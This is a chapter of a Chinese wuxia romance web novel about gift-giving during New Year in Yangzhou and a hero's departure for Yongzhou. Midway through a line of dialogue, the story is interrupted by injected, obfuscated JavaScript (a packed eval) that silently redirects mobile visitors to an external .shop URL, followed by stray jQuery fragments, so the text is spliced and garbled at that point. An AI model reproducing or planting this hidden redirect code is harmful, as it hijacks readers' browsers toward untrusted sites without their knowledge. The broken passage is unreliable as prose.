39. 赠礼
    萧慕棉瞪大了眼睛:“莫老先生?这怎么可能?”

    “他欠我一个人情。”秦烬阳莞尔,修长的手指亲昵地拈起挡在萧慕棉眼前的碎发,“一个很大的人情,他一直想还我,可被他逮着机会了,连夜燃起了剑卢的火。”

    萧慕棉举起长剑,寒光将她的双眸映得清澈明亮,剑刃纤细轻薄,却又韧性十足。她轻轻弹了下薄如蝉翼的剑刃,发出清脆的响声。

    秦烬阳看着萧慕棉笑盈盈的面容,声如温玉:“红梅换长剑,你可赚大了。”

    此时,青琅走了进来:“小姐,许家大小姐来了。”

    萧慕棉仿佛从梦中突然惊醒:“哎呀,我约了桃桃去逛街的,被这一耽搁,完全忘记此事了。你快将桃桃请进来。”

    自去年萧慕棉到永州后,她与许桃桃再也未见过面。没多一会儿,青琅便领着许桃桃来了。

    许桃桃见到萧慕棉甚是开心,脸上绽放出大大的笑容,可下一秒,她的笑容便凝固在了脸上,脸颊唰的一下变得绯红。即使身在寒冬腊月,也能感觉到许桃桃的脸烫得惊人。

    “棉……棉……”许桃桃说话吞吞吐吐的,目光不时瞟向秦烬阳,浑身都不自在。

    秦烬阳倒是不在意,眼角含笑:“许姑娘,好久不见。”

    许桃桃深吸一口气,像是鼓足了极大的勇气,缓缓开口:“秦公子,新年好。”

    萧慕棉嗔怪的拧了下秦烬阳的胳膊,眼神警告他收起戏弄的心思。秦烬阳一脸无辜,双手一摊,自己什么都没干呀。

    萧慕棉热情的挽起许桃桃的胳膊,朝秦烬阳挥挥手:“秦烬阳,我和桃桃出去逛街啦,晚上见。”

    直到踏出万湖山庄的大门,许桃桃才松下一口气,紧绷的神情骤然放松:“棉棉,秦公子怎么会在万湖山庄?”

    萧慕棉将在天水宗发生的事情娓娓道来,听得许桃桃面色一会儿青一会儿白的,不时发出吃惊的声音。

    末了,许桃桃忧心忡忡的围着萧慕棉转了几圈,确认她真的已养好伤,才放心下来。

    年节下的扬州城热闹非凡,城郭内外,红灯笼高挂,彩绸轻扬,处处洋溢着喜庆与祥和的气息。街道上,商贩的叫卖声此起彼伏,孩童们穿梭在人群中,欢声笑语不绝于耳。

    萧慕棉和许桃桃来到扬州最大的布坊,门口迎客的小厮见到她们,热情的迎了上来:

    “萧小姐、许小姐,来做新衣裳吗?我们布坊新进了一批极好的锦缎,二位小姐要不要看看。”

    萧慕棉抚上这布匹,触感丝滑,浮光掠影,果真是上等的浮光锦。她朝小厮说道:“这浮光锦极好,为我和桃桃各做一件衣裳。”

    “棉棉,我不用,我平日都待在家中,不需要这么好的衣裳。”许桃桃有些慌张,连连摆手拒绝。

    “今年我回来得急,并未为你准备礼物,这就当是我送你的新年礼物了。”萧慕棉握住许桃桃的双手,朝小厮说道:“带许姑娘去量尺寸。”

    “好嘞。”那小厮满脸堆笑,领着许桃桃离开了。

    身后传来几人的窃窃私语。

    一人小声说道:“许家老爷又娶了几房小妾,许夫人气坏了,听说家里最近吵得不可开交,这许大姑娘竟还有心情出来买衣裳。”

    另一人颇为不赞同:“许夫人又不是许大姑娘的亲生母亲,而且对许大姑娘一向苛刻,现下许老爷和夫人吵得厉害,指不定正合了大姑娘的意呢。”

    萧慕棉心中不快,许桃桃本就害羞内敛,若让她听见这些闲人的编排,定会更觉无地自容。她斜眼冷冷看向那两人,犀利的目光似要将那两人身上戳出洞来。那两人立刻噤了声,脚步匆促地离开了布坊。

    萧慕棉唤来小厮,道是想看看男人的衣服料子,小厮立刻拿出几十卷锦缎,铺在案上:“萧小姐可是要给萧庄主做衣裳?全扬州最好的锦缎都在这儿了。”

    萧慕棉并未吭声,手指划过一卷卷布料,回忆着秦烬阳的日常穿着,突然发现他好像特别爱玄色的衣裳,衬得他清冷又严肃。

    她的手指停在一卷银白织金锦上:“就这个。”

    小厮有些诧异:“这个颜色,恐怕不太适合萧庄主。”

    萧慕棉莞尔,嘴角调皮的上扬:“谁说我是要给爹爹做衣裳的?”

    夜幕降临,扬州城灯火辉煌,宛如不夜城,各式各样的花灯将街巷装点得如梦似幻。

    小秦淮河边,吆喝的摊位上琳琅满目的摆满了奇珍异宝,萧慕棉和许桃桃正在一家铺子上挑着首饰。

    “我觉得这支好看,桃木的,还能辟邪呢。”萧慕棉拿起一支桃木簪子,放在灯笼下细细欣赏。

    可许桃桃皱着眉头摇摇头:“你不要挑桃木的,这支青玉的也很好看,你试试。”

    许桃桃将簪子插入萧慕棉乌黑的发间,摊主立刻堆笑着举起铜镜:“姑娘国色天香,配上这支青玉簪子简直是清水出芙蓉。”

    “我也觉得这支青玉簪子好看。”秦烬阳清越的声音突然从身后响起,萧慕棉猛然回头,差点撞进他怀中。

    “秦烬阳,你怎么会在这儿?”

    秦烬阳将银子扔到摊主手上,漫不经心说道:“你出门时说晚上见,结果晚上没见到你,便出来随便逛逛,没想到会遇见你们。”

    萧慕棉狐疑的看了他一眼,转头望向不远处小秦淮河边那一排金碧辉煌的招牌,丝竹之声不绝于耳:“你该不会是打算去青楼吧。”

    “你可别冤枉我。”秦烬阳无奈地说道,一双杏眼微微上挑,“我就是闲得无聊随便逛逛。”

    萧慕棉取下簪子,摊主极有眼色的立刻将簪子包了起来。

    自秦烬阳来了之后,就一声不吭的许桃桃,从袖中拿出一个锦袋,塞进萧慕棉怀中,声如蚊蚋:

    “这是我做的,新年快乐。我先回家了,棉棉你也早些回家。”言罢,头也不回的匆匆离开。

    望着许桃桃步履匆匆的背影,秦烬阳皱起眉头:“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387746|139805||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    许姑娘这是怎么了?为什么一见到我就跑?我曾惹到过他吗?”

    萧慕棉轻叹一口气:“是呀,你这张脸惹到她了。”

    秦烬阳闻言面露惊讶,不解的看着萧慕棉。

    萧慕棉只得接着解释道:“桃桃母亲早逝,继母对她不好。她天性又内敛,不爱与人交际,除了我,便也没有其他好友了。她以前,总想着嫁个好夫君,摆脱许家,结果被男人骗过好几次。她现在,大概是对男人避如蛇蝎吧。”

    “那她现在在家中岂不是过得艰辛?”

    萧慕棉浅浅一笑,唇角泛起两个浅浅梨涡,狡黠而俏皮:“所以我让爹爹认了桃桃当干女儿呀,我也经常去许家坐坐,跟许家夫人聊聊天。”

    不知为何,秦烬阳突然想起钱老爷曾绘声绘色地描述,萧慕棉打了钱大夫人一耳光的事。

    萧慕棉打开怀中的锦袋,一支桃木簪子和一张纸条掉了出来。

    这支桃木簪子比刚刚铺子上的精致许多,桃木色泽温润,纹理细腻。细长的簪身微微弯曲,簪头雕刻着一朵盛开的桃花,花瓣层层叠叠,栩栩如生。

    纸条上娟秀工整地写着:棉棉,你时常在外行走,希望这支桃木簪子可以驱除邪祟,庇佑你平安。

    萧慕棉开心的将簪子收了起来,小心翼翼的揣进怀中。

    一封永州的来信送进了万湖山庄秦烬阳的院中,他打开信纸,信是任来写的,上面只有简单的两个字——“速归”。

    秦烬阳呼出一口白气,将信纸扔进了火炉中。他回到房中,被书案上的东西吸引了目光,一件银白织金锦的长袍整整齐齐的叠放在书案上。

    秦烬阳的指尖轻轻抚过长袍,仿佛带着万千缱绻。

    萧慕棉从房中出来,目光便被庭院中的人吸引,秦烬阳一身银白织金长袍立于红梅之下,袖口处金线勾起的祥云纹若影若现,白玉冠束起黑发,红梅映在他英俊的面容之上,衬得他丰神俊朗、气质优雅。

    见到萧慕棉出来,秦烬阳露出一丝微笑,渐渐荡漾开来,眼中盛满了温柔,柔声道:“我要回永州了。”

    萧慕棉似是已经猜到,脸上并无太多情绪波动,只是微微一笑,嘱咐他路上小心。

    笑意从秦烬阳脸上消失,他有些错愕,语调上扬:“你不跟我说点什么吗?”

    萧慕棉一怔,随即失笑:“你又不是要去天涯海角,永州这样近,指不定什么时候又再见了,怎么看你神情,像是要永别似的。”

    秦烬阳愣愣的看着萧慕棉,半晌,也笑了出来。

    寒意散尽,阳和方起,转眼之间已至三月,嫩绿的新芽一夜之间都钻了出来。可议事堂中的气氛却如坠冰窖,沉默而焦灼。

    年前在天水宗发生的事情不胫而走,辰星教挟制天水宗,残害百姓,意图中原武林之事传遍各大门派。

    虽然赵斯南之死疑点颇多,但不知为何,大家都信誓旦旦地认为辰千澈已潜入中原,并杀害了天水宗的宗主。